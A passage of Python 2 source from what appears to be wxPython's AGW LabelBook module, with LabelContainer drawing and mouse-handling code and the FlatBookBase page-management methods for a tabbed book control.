\n\n def DrawBackgroundBitmap(self, dc):\n \"\"\"\n Draws a bitmap as the background of the control.\n\n :param `dc`: an instance of `wx.DC`.\n \"\"\"\n\n clientRect = self.GetClientRect()\n width = clientRect.GetWidth()\n height = clientRect.GetHeight()\n coveredY = coveredX = 0\n xstep = self._skin.GetWidth()\n ystep = self._skin.GetHeight()\n bmpRect = wx.Rect(0, 0, xstep, ystep)\n if bmpRect != clientRect:\n \n mem_dc = wx.MemoryDC()\n bmp = wx.EmptyBitmap(width, height)\n mem_dc.SelectObject(bmp)\n\n while coveredY < height:\n \n while coveredX < width:\n \n mem_dc.DrawBitmap(self._skin, coveredX, coveredY, True)\n coveredX += xstep\n \n coveredX = 0\n coveredY += ystep\n \n mem_dc.SelectObject(wx.NullBitmap)\n #self._skin = bmp\n dc.DrawBitmap(bmp, 0, 0)\n \n else:\n \n dc.DrawBitmap(self._skin, 0, 0)\n \n\n def OnMouseLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{LabelContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.HasAGWFlag(INB_NO_RESIZE):\n \n ImageContainerBase.OnMouseLeftUp(self, event)\n return\n \n if self.HasCapture():\n self.ReleaseMouse()\n\n # Sash was being dragged?\n if not self._sashRect.IsEmpty():\n \n # Remove sash\n ArtManager.Get().DrawDragSash(self._sashRect)\n self.Resize(event)\n\n self._sashRect = wx.Rect()\n return\n \n self._sashRect = wx.Rect()\n\n # Restore cursor\n if self._oldCursor.Ok():\n \n wx.SetCursor(self._oldCursor)\n self._oldCursor = wx.NullCursor\n \n ImageContainerBase.OnMouseLeftUp(self, event)\n\n\n def Resize(self, event):\n \"\"\"\n Actually resizes the tab area.\n\n :param `event`: an instance of `wx.SizeEvent`.\n \"\"\"\n\n # Resize our size\n self._tabAreaSize = self.GetSize()\n newWidth = self._tabAreaSize.x\n x = event.GetX()\n\n if self.HasAGWFlag(INB_BOTTOM) or self.HasAGWFlag(INB_RIGHT):\n \n newWidth -= event.GetX()\n \n else:\n \n newWidth = x\n \n if newWidth < 100: # Dont allow width to be lower than that \n newWidth = 100\n\n self.SetSizeHints(newWidth, self._tabAreaSize.y)\n\n # Update the tab new area width\n self._nTabAreaWidth = newWidth\n self.GetParent().Freeze()\n self.GetParent().GetSizer().Layout()\n self.GetParent().Thaw()\n\n\n def OnMouseMove(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{LabelContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.HasAGWFlag(INB_NO_RESIZE):\n \n ImageContainerBase.OnMouseMove(self, event)\n return\n\n # Remove old sash\n if not self._sashRect.IsEmpty():\n ArtManager.Get().DrawDragSash(self._sashRect)\n\n if event.LeftIsDown():\n \n if not self._sashRect.IsEmpty():\n \n # Progress sash, and redraw it\n clientRect = self.GetClientRect()\n pt = self.ClientToScreen(wx.Point(event.GetX(), 0))\n self._sashRect = wx.RectPS(pt, wx.Size(4, clientRect.height))\n ArtManager.Get().DrawDragSash(self._sashRect)\n \n else:\n \n # Sash is not being dragged\n if self._oldCursor.Ok():\n wx.SetCursor(self._oldCursor)\n self._oldCursor = wx.NullCursor\n \n else:\n \n if self.HasCapture():\n self.ReleaseMouse()\n\n if self.PointOnSash(event.GetPosition()):\n \n # Change cursor to EW cursor\n self._oldCursor = self.GetCursor()\n wx.SetCursor(wx.StockCursor(wx.CURSOR_SIZEWE))\n \n elif self._oldCursor.Ok():\n \n wx.SetCursor(self._oldCursor)\n self._oldCursor = wx.NullCursor\n \n self._sashRect = wx.Rect()\n ImageContainerBase.OnMouseMove(self, event)\n \n\n def OnMouseLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{LabelContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.HasAGWFlag(INB_NO_RESIZE):\n \n ImageContainerBase.OnMouseLeftDown(self, event)\n return\n\n imgIdx, where = self.HitTest(event.GetPosition())\n\n if IMG_OVER_EW_BORDER == where and not self._bCollapsed:\n \n # We are over the sash\n if not self._sashRect.IsEmpty():\n ArtManager.Get().DrawDragSash(self._sashRect)\n else:\n # first time, begin drawing sash\n self.CaptureMouse()\n\n # Change mouse cursor\n self._oldCursor = self.GetCursor()\n wx.SetCursor(wx.StockCursor(wx.CURSOR_SIZEWE))\n \n clientRect = self.GetClientRect()\n pt = self.ClientToScreen(wx.Point(event.GetX(), 0))\n self._sashRect = wx.RectPS(pt, wx.Size(4, clientRect.height))\n\n ArtManager.Get().DrawDragSash(self._sashRect)\n \n else:\n ImageContainerBase.OnMouseLeftDown(self, event)\n\n\n def OnMouseLeaveWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{LabelContainer}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if self.HasAGWFlag(INB_NO_RESIZE):\n \n ImageContainerBase.OnMouseLeaveWindow(self, event)\n return\n \n # If Sash is being dragged, ignore this event\n if not self.HasCapture(): \n ImageContainerBase.OnMouseLeaveWindow(self, event) \n\n \n def DrawRegularHover(self, dc, rect):\n \"\"\"\n Draws a rounded rectangle around the current tab.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the current tab client rectangle.\n \"\"\"\n \n # The hovered tab with default border\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n dc.SetPen(wx.Pen(wx.WHITE))\n\n # We draw CCW\n if self.HasAGWFlag(INB_RIGHT) or self.HasAGWFlag(INB_TOP):\n \n # Right images\n # Upper line\n dc.DrawLine(rect.x + 1, rect.y, rect.x + rect.width, rect.y)\n\n # Right line (white)\n dc.DrawLine(rect.x + rect.width, rect.y, rect.x + rect.width, rect.y + rect.height)\n\n # Bottom diagnol - we change pen\n dc.SetPen(wx.Pen(self._coloursMap[INB_TABS_BORDER_COLOUR]))\n\n # Bottom line\n dc.DrawLine(rect.x + rect.width, rect.y + rect.height, rect.x, rect.y + rect.height)\n \n else:\n \n # Left images\n # Upper line white\n dc.DrawLine(rect.x, rect.y, rect.x + rect.width - 1, rect.y)\n\n # Left line\n dc.DrawLine(rect.x, rect.y, rect.x, rect.y + rect.height)\n\n # Bottom diagnol, we change the pen\n dc.SetPen(wx.Pen(self._coloursMap[INB_TABS_BORDER_COLOUR]))\n\n # Bottom line\n dc.DrawLine(rect.x, rect.y + rect.height, rect.x + rect.width, rect.y + rect.height)\n \n\n def DrawWebHover(self, dc, caption, xCoord, yCoord):\n \"\"\"\n Draws a web style hover effect (cursor set to hand & text is underlined).\n\n :param `dc`: an instance of `wx.DC`;\n :param `caption`: the tab caption text;\n :param `xCoord`: the x position of the tab caption;\n :param `yCoord`: the y position of the tab caption.\n \"\"\"\n\n # Redraw the text with underlined font\n underLinedFont = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n underLinedFont.SetPointSize(underLinedFont.GetPointSize() * self.GetParent().GetFontSizeMultiple())\n if self.GetParent().GetFontBold():\n underLinedFont.SetWeight(wx.FONTWEIGHT_BOLD)\n underLinedFont.SetUnderlined(True)\n dc.SetFont(underLinedFont)\n dc.DrawText(caption, xCoord, yCoord)\n\n\n def SetColour(self, which, colour):\n \"\"\"\n Sets a colour for a parameter.\n\n :param `which`: can be one of the following parameters:\n\n ================================== ======= ==================================\n Colour Key Value Description\n ================================== ======= ================================== \n ``INB_TAB_AREA_BACKGROUND_COLOUR`` 100 The tab area background colour\n ``INB_ACTIVE_TAB_COLOUR`` 101 The active tab background colour\n ``INB_TABS_BORDER_COLOUR`` 102 The tabs border colour\n ``INB_TEXT_COLOUR`` 103 The tab caption text colour\n ``INB_ACTIVE_TEXT_COLOUR`` 104 The active tab caption text colour\n ``INB_HILITE_TAB_COLOUR`` 105 The tab caption highlight text colour\n ================================== ======= ================================== \n\n :param `colour`: a valid `wx.Colour` object. \n \"\"\"\n\n self._coloursMap[which] = colour\n\n\n def GetColour(self, which):\n \"\"\"\n Returns a colour for a parameter.\n\n :param `which`: the colour key.\n\n :see: L{SetColour} for a list of valid colour keys.\n \"\"\"\n\n if not self._coloursMap.has_key(which):\n return wx.Colour()\n\n return self._coloursMap[which] \n\n\n def InitializeColours(self):\n \"\"\" Initializes the colours map to be used for this control. \"\"\"\n\n # Initialize map colours\n self._coloursMap.update({INB_TAB_AREA_BACKGROUND_COLOUR: ArtManager.Get().LightColour(ArtManager.Get().FrameColour(), 50)})\n self._coloursMap.update({INB_ACTIVE_TAB_COLOUR: ArtManager.Get().GetMenuFaceColour()})\n self._coloursMap.update({INB_TABS_BORDER_COLOUR: wx.SystemSettings_GetColour(wx.SYS_COLOUR_3DSHADOW)})\n self._coloursMap.update({INB_HILITE_TAB_COLOUR: wx.NamedColour(\"LIGHT BLUE\")})\n self._coloursMap.update({INB_TEXT_COLOUR: wx.WHITE})\n self._coloursMap.update({INB_ACTIVE_TEXT_COLOUR: wx.BLACK})\n\n # dont allow bright colour one on the other\n if not ArtManager.Get().IsDark(self._coloursMap[INB_TAB_AREA_BACKGROUND_COLOUR]) and \\\n not ArtManager.Get().IsDark(self._coloursMap[INB_TEXT_COLOUR]):\n \n self._coloursMap[INB_TEXT_COLOUR] = ArtManager.Get().DarkColour(self._coloursMap[INB_TEXT_COLOUR], 100)\n \n\n def DrawLabel(self, dc, rect, text, bmp, imgInfo, orientationLeft, imgIdx, selected, hover):\n \"\"\"\n Draws a label using the specified dc.\n\n :param `dc`: an instance of `wx.DC`;\n :param `rect`: the text client rectangle;\n :param `text`: the actual text string;\n :param `bmp`: a bitmap to be drawn next to the text;\n :param `imgInfo`: an instance of L{ImageInfo};\n :param `orientationLeft`: ``True`` if the book has the ``INB_RIGHT`` or ``INB_LEFT``\n style set;\n :param `imgIdx`: the tab image index;\n :param `selected`: ``True`` if the tab is selected, ``False`` otherwise;\n :param `hover`: ``True`` if the tab is being hovered with the mouse, ``False`` otherwise.\n \"\"\"\n\n dcsaver = DCSaver(dc)\n nPadding = 6\n \n if orientationLeft:\n \n rect.x += nPadding\n rect.width -= nPadding\n \n else:\n \n rect.width -= nPadding\n \n textRect = wx.Rect(*rect)\n imgRect = wx.Rect(*rect)\n \n font = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n font.SetPointSize(font.GetPointSize() * self.GetParent().GetFontSizeMultiple())\n if self.GetParent().GetFontBold():\n font.SetWeight(wx.FONTWEIGHT_BOLD)\n dc.SetFont(font)\n\n # First we define the rectangle for the text\n w, h = dc.GetTextExtent(text)\n \n #-------------------------------------------------------------------------\n # Label layout:\n # [ nPadding | Image | nPadding | Text | nPadding ]\n #-------------------------------------------------------------------------\n\n # Text bounding rectangle\n textRect.x += nPadding\n textRect.y = rect.y + (rect.height - h)/2\n textRect.width = rect.width - 2 * nPadding\n\n if bmp.Ok() and not self.HasAGWFlag(INB_SHOW_ONLY_TEXT):\n textRect.x += (bmp.GetWidth() + nPadding)\n textRect.width -= (bmp.GetWidth() + nPadding)\n \n textRect.height = h\n\n # Truncate text if needed\n caption = ArtManager.Get().TruncateText(dc, text, textRect.width)\n\n # Image bounding rectangle\n if bmp.Ok() and not self.HasAGWFlag(INB_SHOW_ONLY_TEXT):\n \n imgRect.x += nPadding\n imgRect.width = bmp.GetWidth()\n imgRect.y = rect.y + (rect.height - bmp.GetHeight())/2\n imgRect.height = bmp.GetHeight()\n \n # Draw bounding rectangle\n if selected:\n \n # First we colour the tab\n dc.SetBrush(wx.Brush(self._coloursMap[INB_ACTIVE_TAB_COLOUR]))\n\n if self.HasAGWFlag(INB_BORDER):\n dc.SetPen(wx.Pen(self._coloursMap[INB_TABS_BORDER_COLOUR]))\n else: \n dc.SetPen(wx.Pen(self._coloursMap[INB_ACTIVE_TAB_COLOUR]))\n \n labelRect = wx.Rect(*rect)\n\n if orientationLeft: \n labelRect.width += 3\n else: \n labelRect.width += 3\n labelRect.x -= 3\n \n dc.DrawRoundedRectangleRect(labelRect, 3)\n\n if not orientationLeft and self.HasAGWFlag(INB_DRAW_SHADOW):\n dc.SetPen(wx.BLACK_PEN)\n dc.DrawPoint(labelRect.x + labelRect.width - 1, labelRect.y + labelRect.height - 1)\n \n # Draw the text & bitmap\n if caption != \"\":\n \n if selected:\n dc.SetTextForeground(self._coloursMap[INB_ACTIVE_TEXT_COLOUR])\n else:\n dc.SetTextForeground(self._coloursMap[INB_TEXT_COLOUR])\n \n dc.DrawText(caption, textRect.x, textRect.y)\n imgInfo.SetTextRect(textRect)\n \n else:\n \n imgInfo.SetTextRect(wx.Rect())\n \n if bmp.Ok() and not self.HasAGWFlag(INB_SHOW_ONLY_TEXT):\n dc.DrawBitmap(bmp, imgRect.x, imgRect.y, True)\n\n # Drop shadow\n if self.HasAGWFlag(INB_DRAW_SHADOW) and selected:\n \n sstyle = 0\n if orientationLeft:\n sstyle = BottomShadow\n else:\n sstyle = BottomShadowFull | RightShadow\n \n if self.HasAGWFlag(INB_WEB_HILITE):\n \n # Always drop shadow for this style\n ArtManager.Get().DrawBitmapShadow(dc, rect, sstyle)\n \n else:\n \n if imgIdx+1 != self._nHoeveredImgIdx:\n \n ArtManager.Get().DrawBitmapShadow(dc, rect, sstyle)\n \n # Draw hover effect \n if hover:\n \n if self.HasAGWFlag(INB_WEB_HILITE) and caption != \"\": \n self.DrawWebHover(dc, caption, textRect.x, textRect.y)\n else:\n self.DrawRegularHover(dc, rect)\n \n # Update the page information bout position and size\n imgInfo.SetPosition(rect.GetPosition())\n imgInfo.SetSize(rect.GetSize())\n\n\n# ---------------------------------------------------------------------------- #\n# Class FlatBookBase\n# ---------------------------------------------------------------------------- #\n\nclass FlatBookBase(wx.Panel):\n \"\"\" Base class for the containing window for L{LabelBook} and L{FlatImageBook}. \"\"\"\n\n def __init__(self, parent, id=wx.ID_ANY, pos=wx.DefaultPosition, size=wx.DefaultSize,\n style=0, agwStyle=0, name=\"FlatBookBase\"):\n \"\"\"\n Default class constructor.\n\n :param `parent`: parent window. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `style`: the underlying `wx.Panel` window style;\n :param `agwStyle`: the AGW-specific window style. This can be a combination of the\n following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n\n :param `name`: the window name. \n \"\"\"\n \n self._pages = None\n self._bInitializing = True\n self._pages = None\n self._bForceSelection = False\n self._windows = []\n self._fontSizeMultiple = 1.0\n self._fontBold = False\n\n style |= wx.TAB_TRAVERSAL\n self._agwStyle = agwStyle\n\n wx.Panel.__init__(self, parent, id, pos, size, style, name)\n self._bInitializing = False\n\n\n def SetAGWWindowStyleFlag(self, agwStyle):\n \"\"\"\n Sets the window style.\n\n :param `agwStyle`: can be a combination of the following bits:\n\n =========================== =========== ==================================================\n Window Styles Hex Value Description\n =========================== =========== ==================================================\n ``INB_BOTTOM`` 0x1 Place labels below the page area. Available only for L{FlatImageBook}.\n ``INB_LEFT`` 0x2 Place labels on the left side. Available only for L{FlatImageBook}.\n ``INB_RIGHT`` 0x4 Place labels on the right side.\n ``INB_TOP`` 0x8 Place labels above the page area.\n ``INB_BORDER`` 0x10 Draws a border around L{LabelBook} or L{FlatImageBook}.\n ``INB_SHOW_ONLY_TEXT`` 0x20 Shows only text labels and no images. Available only for L{LabelBook}.\n ``INB_SHOW_ONLY_IMAGES`` 0x40 Shows only tab images and no label texts. Available only for L{LabelBook}.\n ``INB_FIT_BUTTON`` 0x80 Displays a pin button to show/hide the book control.\n ``INB_DRAW_SHADOW`` 0x100 Draw shadows below the book tabs. Available only for L{LabelBook}.\n ``INB_USE_PIN_BUTTON`` 0x200 Displays a pin button to show/hide the book control.\n ``INB_GRADIENT_BACKGROUND`` 0x400 Draws a gradient shading on the tabs background. Available only for L{LabelBook}.\n ``INB_WEB_HILITE`` 0x800 On mouse hovering, tabs behave like html hyperlinks. Available only for L{LabelBook}.\n ``INB_NO_RESIZE`` 0x1000 Don't allow resizing of the tab area.\n ``INB_FIT_LABELTEXT`` 0x2000 Will fit the tab area to the longest text (or text+image if you have images) in all the tabs.\n =========================== =========== ==================================================\n \n \"\"\"\n\n self._agwStyle = agwStyle\n \n # Check that we are not in initialization process\n if self._bInitializing:\n return\n\n if not self._pages:\n return\n\n # Detach the windows attached to the sizer\n if self.GetSelection() >= 0:\n self._mainSizer.Detach(self._windows[self.GetSelection()])\n\n self._mainSizer.Detach(self._pages)\n \n # Create new sizer with the requested orientaion\n className = self.GetName()\n\n if className == \"LabelBook\":\n self._mainSizer = wx.BoxSizer(wx.HORIZONTAL)\n else:\n if agwStyle & INB_LEFT or agwStyle & INB_RIGHT:\n self._mainSizer = wx.BoxSizer(wx.HORIZONTAL)\n else:\n self._mainSizer = wx.BoxSizer(wx.VERTICAL)\n \n self.SetSizer(self._mainSizer)\n \n # Add the tab container and the separator\n self._mainSizer.Add(self._pages, 0, wx.EXPAND)\n\n if className == \"FlatImageBook\":\n \n if agwStyle & INB_LEFT or agwStyle & INB_RIGHT:\n self._pages.SetSizeHints(self._pages._nImgSize * 2, -1)\n else:\n self._pages.SetSizeHints(-1, self._pages._nImgSize * 2)\n \n # Attach the windows back to the sizer to the sizer\n if self.GetSelection() >= 0:\n self.DoSetSelection(self._windows[self.GetSelection()])\n\n if agwStyle & INB_FIT_LABELTEXT:\n self.ResizeTabArea()\n \n self._mainSizer.Layout()\n dummy = wx.SizeEvent()\n wx.PostEvent(self, dummy)\n self._pages.Refresh()\n\n\n def GetAGWWindowStyleFlag(self):\n \"\"\"\n Returns the L{FlatBookBase} window style.\n\n :see: L{SetAGWWindowStyleFlag} for a list of possible window style flags.\n \"\"\"\n\n return self._agwStyle\n\n\n def HasAGWFlag(self, flag):\n \"\"\"\n Returns whether a flag is present in the L{FlatBookBase} style.\n\n :param `flag`: one of the possible L{FlatBookBase} window styles.\n\n :see: L{SetAGWWindowStyleFlag} for a list of possible window style flags.\n \"\"\"\n\n agwStyle = self.GetAGWWindowStyleFlag()\n res = (agwStyle & flag and [True] or [False])[0]\n return res\n\n\n def AddPage(self, page, text, select=False, imageId=-1):\n \"\"\"\n Adds a page to the book.\n\n :param `page`: specifies the new page;\n :param `text`: specifies the text for the new page;\n :param `select`: specifies whether the page should be selected;\n :param `imageId`: specifies the optional image index for the new page.\n \n :note: The call to this function generates the page changing events.\n \"\"\"\n\n if not page:\n return\n\n page.Reparent(self)\n\n self._windows.append(page)\n \n if select or len(self._windows) == 1:\n self.DoSetSelection(page)\n else:\n page.Hide()\n\n self._pages.AddPage(text, select, imageId)\n self.ResizeTabArea()\n self.Refresh()\n\n\n def InsertPage(self, page_idx, page, text, select=False, imageId=-1):\n \"\"\"\n Inserts a page into the book at the specified position.\n\n :param `page_idx`: specifies the position for the new page;\n :param `page`: specifies the new page;\n :param `text`: specifies the text for the new page;\n :param `select`: specifies whether the page should be selected;\n :param `imageId`: specifies the optional image index for the new page.\n \n :note: The call to this function generates the page changing events.\n \"\"\"\n\n if not page:\n return\n\n page.Reparent(self)\n\n self._windows.insert(page_idx, page)\n \n if select or len(self._windows) == 1:\n self.DoSetSelection(page)\n else:\n page.Hide()\n\n self._pages.InsertPage(page_idx, text, select, imageId)\n self.ResizeTabArea()\n self.Refresh()\n\n\n def DeletePage(self, page):\n \"\"\"\n Deletes the specified page, and the associated window.\n\n :param `page`: an integer specifying the page to be deleted.\n \n :note: The call to this function generates the page changing events.\n \"\"\"\n\n if page >= len(self._windows) or page < 0:\n return\n\n # Fire a closing event\n event = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CLOSING, self.GetId())\n event.SetSelection(page)\n event.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(event)\n\n # The event handler allows it?\n if not event.IsAllowed():\n return False\n\n self.Freeze()\n\n # Delete the requested page\n pageRemoved = self._windows[page]\n\n # If the page is the current window, remove it from the sizer\n # as well\n if page == self.GetSelection():\n self._mainSizer.Detach(pageRemoved)\n \n # Remove it from the array as well\n self._windows.pop(page)\n\n # Now we can destroy it in wxWidgets use Destroy instead of delete\n pageRemoved.Destroy()\n self._mainSizer.Layout()\n \n self._pages.DoDeletePage(page)\n self.ResizeTabArea()\n self.Thaw()\n\n # Fire a closed event\n closedEvent = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CLOSED, self.GetId())\n closedEvent.SetSelection(page)\n closedEvent.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(closedEvent)\n\n\n def RemovePage(self, page):\n \"\"\"\n Deletes the specified page, without deleting the associated window.\n\n :param `page`: an integer specifying the page to be removed.\n \n :note: The call to this function generates the page changing events.\n \"\"\"\n\n if page >= len(self._windows):\n return False\n\n # Fire a closing event\n event = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CLOSING, self.GetId())\n event.SetSelection(page)\n event.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(event)\n\n # The event handler allows it?\n if not event.IsAllowed():\n return False\n\n self.Freeze()\n\n # Remove the requested page\n pageRemoved = self._windows[page]\n\n # If the page is the current window, remove it from the sizer\n # as well\n if page == self.GetSelection():\n self._mainSizer.Detach(pageRemoved)\n \n # Remove it from the array as well\n self._windows.pop(page)\n self._mainSizer.Layout()\n self.ResizeTabArea()\n self.Thaw()\n\n self._pages.DoDeletePage(page)\n\n # Fire a closed event\n closedEvent = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CLOSED, self.GetId())\n closedEvent.SetSelection(page)\n closedEvent.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(closedEvent)\n \n return True\n\n \n def ResizeTabArea(self):\n \"\"\" Resizes the tab area if the control has the ``INB_FIT_LABELTEXT`` style set. \"\"\"\n\n agwStyle = self.GetAGWWindowStyleFlag()\n \n if agwStyle & INB_FIT_LABELTEXT == 0:\n return\n\n if agwStyle & INB_LEFT or agwStyle & INB_RIGHT:\n dc = wx.MemoryDC()\n dc.SelectObject(wx.EmptyBitmap(1, 1))\n font = wx.SystemSettings_GetFont(wx.SYS_DEFAULT_GUI_FONT)\n font.SetPointSize(font.GetPointSize()*self._fontSizeMultiple)\n if self.GetFontBold():\n font.SetWeight(wx.FONTWEIGHT_BOLD)\n dc.SetFont(font)\n maxW = 0\n \n for page in xrange(self.GetPageCount()):\n caption = self._pages.GetPageText(page)\n w, h = dc.GetTextExtent(caption)\n maxW = max(maxW, w)\n \n maxW += 24 #TODO this is 6*4 6 is nPadding from drawlabel\n\n if not agwStyle & INB_SHOW_ONLY_TEXT:\n maxW += self._pages._nImgSize * 2\n \n maxW = max(maxW, 100)\n self._pages.SetSizeHints(maxW, -1)\n self._pages._nTabAreaWidth = maxW\n\n \n def DeleteAllPages(self):\n \"\"\" Deletes all the pages in the book. \"\"\"\n\n if not self._windows:\n return\n\n self.Freeze()\n \n for win in self._windows:\n win.Destroy()\n \n self._windows = []\n self.Thaw()\n\n # remove old selection\n self._pages.ClearAll()\n self._pages.Refresh()\n\n\n def SetSelection(self, page):\n \"\"\"\n Changes the selection from currently visible/selected page to the page\n given by page.\n\n :param `page`: an integer specifying the page to be selected.\n\n :note: The call to this function generates the page changing events. \n \"\"\"\n\n if page >= len(self._windows):\n return\n\n if page == self.GetSelection() and not self._bForceSelection:\n return\n\n oldSelection = self.GetSelection()\n\n # Generate an event that indicates that an image is about to be selected\n event = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CHANGING, self.GetId())\n event.SetSelection(page)\n event.SetOldSelection(oldSelection)\n event.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(event)\n\n # The event handler allows it?\n if not event.IsAllowed() and not self._bForceSelection:\n return\n\n self.DoSetSelection(self._windows[page])\n # Now we can update the new selection\n self._pages._nIndex = page\n\n # Refresh calls the OnPaint of this class\n self._pages.Refresh()\n\n # Generate an event that indicates that an image was selected\n eventChanged = ImageNotebookEvent(wxEVT_IMAGENOTEBOOK_PAGE_CHANGED, self.GetId())\n eventChanged.SetEventObject(self)\n eventChanged.SetOldSelection(oldSelection)\n eventChanged.SetSelection(page)\n self.GetEventHandler().ProcessEvent(eventChanged)\n\n\n def AssignImageList(self, imglist):\n \"\"\"\n Assigns an image list to the control.\n\n :param `imglist`: an instance of `wx.ImageList`.\n \"\"\"\n\n self._pages.AssignImageList(imglist)\n\n # Force change\n self.SetAGWWindowStyleFlag(self.GetAGWWindowStyleFlag())\n\n\n def GetSelection(self):\n \"\"\" Returns the current selection. \"\"\"\n\n if self._pages:\n return self._pages._nIndex\n else:\n return -1\n\n\n def DoSetSelection(self, window):\n \"\"\"\n Select the window by the provided pointer.\n\n :param `window`: an instance of `wx.Window`.\n \"\"\"\n\n curSel = self.GetSelection()\n agwStyle = self.GetAGWWindowStyleFlag()\n # Replace the window in the sizer\n self.Freeze()\n\n # Check if a new selection was made\n bInsertFirst = (agwStyle & INB_BOTTOM or agwStyle & INB_RIGHT)\n\n if curSel >= 0:\n \n # Remove the window from the main sizer\n self._mainSizer.Detach(self._windows[curSel])\n self._windows[curSel].Hide()\n \n if bInsertFirst:\n self._mainSizer.Insert(0, window, 1, wx.EXPAND)\n else:\n self._mainSizer.Add(window, 1, wx.EXPAND)\n\n window.Show()\n self._mainSizer.Layout()\n self.Thaw()\n\n\n def GetImageList(self):\n \"\"\" Returns the associated image list. \"\"\"\n\n return self._pages.GetImageList()\n\n\n def GetPageCount(self):\n \"\"\" Returns the number of pages in the book. \"\"\"\n\n return len(self._windows)\n \n \n def GetFontBold(self):\n \"\"\" Gets the font bold status. \"\"\"\n \n return self._fontBold\n \n \n def SetFontBold(self, bold):\n \"\"\" \n Sets whether the page captions are bold or not.\n \n :param `bold`: ``True`` or ``False``.\n \"\"\"\n \n self._fontBold = bold\n \n \n def GetFontSizeMultiple(self):\n \"\"\" Gets the font size multiple for the page captions. \"\"\"\n \n return self._fontSizeMultiple\n \n \n def SetFontSizeMultiple(self, multiple):\n \"\"\" \n Sets the font size multiple for the page captions. \n \n :param `multiple`: The multiple to be applied to the system font to get the our font size.\n \"\"\"\n \n self._fontSizeMultiple = multiple\n \n\n def SetPageImage(self, page, imageId):\n \"\"\"\n Sets the image index for the given page.\n\n :param `page`: an integer specifying the page index;\n :param `image`: an index into the image list.\n \"\"\"\n\n self._pages.SetPageImage(page, imageId)\n self._pages.Refresh()\n\n\n def SetPageText(self, page, text):\n \"\"\"\n Sets the text for the given page.\n\n :param `page`: an integer specifying the page index;\n :param `text`: the new tab label.\n \"\"\"\n\n self._pages.SetPageText(page, text)\n self._pages.Refresh()\n\n\n def GetPageText(self, page):\n \"\"\"\n Returns the text for the given page.\n\n :param `page`: an integer specifying the page index.\n \"\"\"\n\n return self._pages.GetPageText(page)\n\n\n def GetPageImage(self, page):\n \"\"\"\n Returns the image index for the given page.\n\n :param `page`: an integer specifying the page index.\n \"\"\"\n\n return self._pages.GetPageImage(page)\n\n\n def GetPage(self, page):\n \"\"\"\n Returns the window at the given page position.\n\n :param `page`: an integer specifying the page to be returned.\n \"\"\"\n\n if page >= len(self._windows):\n return\n\n return self._windows[page]\n\n\n def GetCurrentPage(self):\n \"\"\" Returns the currently selected notebook page or ``None``. \"\"\"\n\n if self.GetSelection() < 0:\n return\n\n return self.GetPage(self.GetSelection())\n\n\n def AdvanceSelection(self, forward=True):\n \"\"\"\n Cycles through the tabs.\n\n :param `forward`: if ``True``, the selection is advanced in ascending order\n (to the right), otherwise the selection is advanced in descending order.\n \n :note: The call to this function generates the page changing events.\n \"\"\"\n\n nSel = self.GetSelection()\n\n if nSel < 0:\n return\n\n nMax = self.GetPageCount() - 1\n \n if forward:\n newSelection = (nSel == nMax and [0] or [nSel + 1])[0]\n else:\n newSelection = (nSel == 0 and [nMax] or [nSel - 1])[0]\n\n self.SetSelection(newSelection)\n\n\n def ChangeSelection(self, page):\n \"\"\"\n Changes the selection for the given page, returning the previous selection.\n\n :param `page`: an integer specifying the page to be selected.\n\n :note: The call to this function does not generate the page changing events.\n \"\"\"\n\n if page < 0 or page >= self.GetPageCount():\n return\n\n oldPage = self.GetSelection()\n self.DoSetSelection(page)\n\n return oldPage\n\n CurrentPage = property(GetCurrentPage, doc=\"See 